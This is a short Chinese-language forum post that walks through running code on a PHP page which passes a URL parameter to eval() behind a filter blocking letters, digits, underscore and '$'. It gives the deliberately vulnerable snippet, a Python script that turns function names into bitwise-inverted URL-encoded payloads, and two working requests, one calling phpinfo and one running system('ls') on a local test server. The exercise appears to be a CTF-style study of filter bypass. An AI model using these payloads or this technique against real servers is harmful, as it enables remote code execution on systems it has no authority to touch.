无字母数字webshell简单利用

2018-10-09 12:30:15 17 4260
前几天看到这个
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}
正则过滤了大小写、数字、下划线、$
参考p牛的文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
尝试利用取反的方法进行代码执行,本地环境PHP 7.0.20-2
简单写了句生成payload代码:
def get(shell):
        hexbit = ''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
        print hexbit.replace('0x', '%')
get('phpinfo')
之后构造请求:
http://localhost/test.php?code=(~%8F%97%8F%96%91%99%90)();

执行ls测试一下:
http://localhost/test.php?code=(~%8c%86%8c%8b%9a%92)(~%93%8c);

关于作者

t00kit4篇文章95篇回复

评论17次

要评论?请先  登录  或  注册